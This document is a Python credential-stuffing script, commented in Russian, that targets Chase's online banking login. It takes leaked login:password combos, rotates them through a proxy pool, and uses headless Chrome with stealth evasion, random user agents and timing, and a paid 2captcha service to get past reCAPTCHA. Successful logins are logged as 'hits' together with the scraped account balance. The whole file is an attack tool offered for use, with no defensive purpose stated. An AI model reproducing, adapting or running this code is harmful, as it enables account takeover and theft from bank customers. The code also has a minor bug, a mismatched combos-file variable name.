import requests
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium_stealth import stealth
import time
import random
import logging
from concurrent.futures import ThreadPoolExecutor, as_completed
from itertools import islice # Для батчинга
import json
# Setup logging
logging.basicConfig(filename='brut_log.txt', level=logging.INFO, format='%(asctime)s - %(message)s')
# Config
PROXIES_POOL = [ # Твои 10+ прокси
{'http': 'http://user:pass@ip1:port', 'https': 'http://user:pass@ip1:port'},
{'http': 'http://user:pass@ip2:port', 'https': 'http://user:pass@ip2:port'},
# ... добавь больше
]
COMBOS_FILE = 'fresh_combos_2025.txt' # Формат: login:pass per line
CAPTCHA_API_KEY = 'your_2captcha_key' # 0.001$/solve
BANK_URL = 'https://secure.chase.com/s/sso/login'
THREADS = 5 # Не больше, чтоб не rate-limit
def solve_captcha(driver, api_key):
"""Bypass CAPTCHA via 2captcha"""
# Submit sitekey to 2captcha
sitekey = driver.find_element(By.CLASS_NAME, 'g-recaptcha').get_attribute('data-sitekey')
# API call (simplified)
response = requests.post('http://2captcha.com/in.php', data={
'key': api_key, 'method': 'userrecaptcha', 'googlekey': sitekey, 'pageurl': driver.current_url
})
if 'OK|' in response.text:
captcha_id = response.text.split('|')[1]
# Poll for solution
for _ in range(20):
time.sleep(10)
res = requests.get(f'http://2captcha.com/res.php?key={api_key}&action=get&id={captcha_id}')
if 'CAPCHA_NOT_READY' not in res.text:
return res.text.split('|')[1]
return None
def attempt_login(login, password, proxy):
"""Single attempt"""
options = webdriver.ChromeOptions()
options.add_argument('--proxy-server=' + proxy['http'])
options.add_argument('--headless')
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
options.add_argument(f'--user-agent={random.choice(["Mozilla/5.0 (Windows NT 10.0; Win64; x64)...", ...])}') # Рандом UA list
driver = webdriver.Chrome(options=options)
stealth(driver) # Anti-detect
try:
driver.get(BANK_URL)
time.sleep(random.uniform(3, 7)) # Random delay
# Логин поле
username = WebDriverWait(driver, 15).until(EC.presence_of_element_located((By.NAME, 'username')))
username.send_keys(login)
password_field = driver.find_element(By.NAME, 'password')
password_field.send_keys(password)
# CAPTCHA check
if driver.find_elements(By.CLASS_NAME, 'g-recaptcha'):
token = solve_captcha(driver, CAPTCHA_API_KEY)
if token:
driver.execute_script(f'document.getElementById("g-recaptcha-response").innerHTML="{token}";')
# Submit
driver.find_element(By.ID, 'login-button').click()
time.sleep(random.uniform(4, 8))
# Success check (адаптируй под банк)
current_url = driver.current_url
page_source = driver.page_source.lower()
if 'dashboard' in current_url or 'welcome' in page_source or 'balance' in page_source:
# Extract data
try:
balance_elem = driver.find_element(By.CSS_SELECTOR, '.account-balance')
balance = balance_elem.text
except:
balance = 'Unknown'
hit = {'login': login, 'pass': password, 'balance': balance, 'url': current_url}
logging.info(f"HIT: {json.dumps(hit)}")
return hit
else:
logging.info(f"Miss: {login} - Possible 2FA or error")
return None
except Exception as e:
logging.error(f"Error on {login}: {str(e)}")
return None
finally:
driver.quit()
def load_combos(file_path, batch_size=1000):
"""Load and batch combos"""
with open(file_path, 'r') as f:
lines = [line.strip().split(':') for line in f if ':' in line]
for i in range(0, len(lines), batch_size):
yield list(islice(lines, i, i + batch_size))
# Main run
if __name__ == "__main__":
hits = []
with open(COMBO_FILE, 'r') as f:
all_combos = [line.strip().split(':') for line in f]
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = []
proxy_idx = 0
for login, password in all_combos:
proxy = PROXIES_POOL[proxy_idx % len(PROXIES_POOL)]
future = executor.submit(attempt_login, login, password, proxy)
futures.append(future)
proxy_idx += 1
time.sleep(random.uniform(1, 3)) # Global rate limit
for future in as_completed(futures):
result = future.result()
if result:
hits.append(result)
# Save hits
with open('hits_2025.json', 'w') as f:
json.dump(hits, f, indent=4)
print(f"Total hits: {len(hits)} / {len(all_combos)} ({len(hits)/len(all_combos)*100:.2f}%)")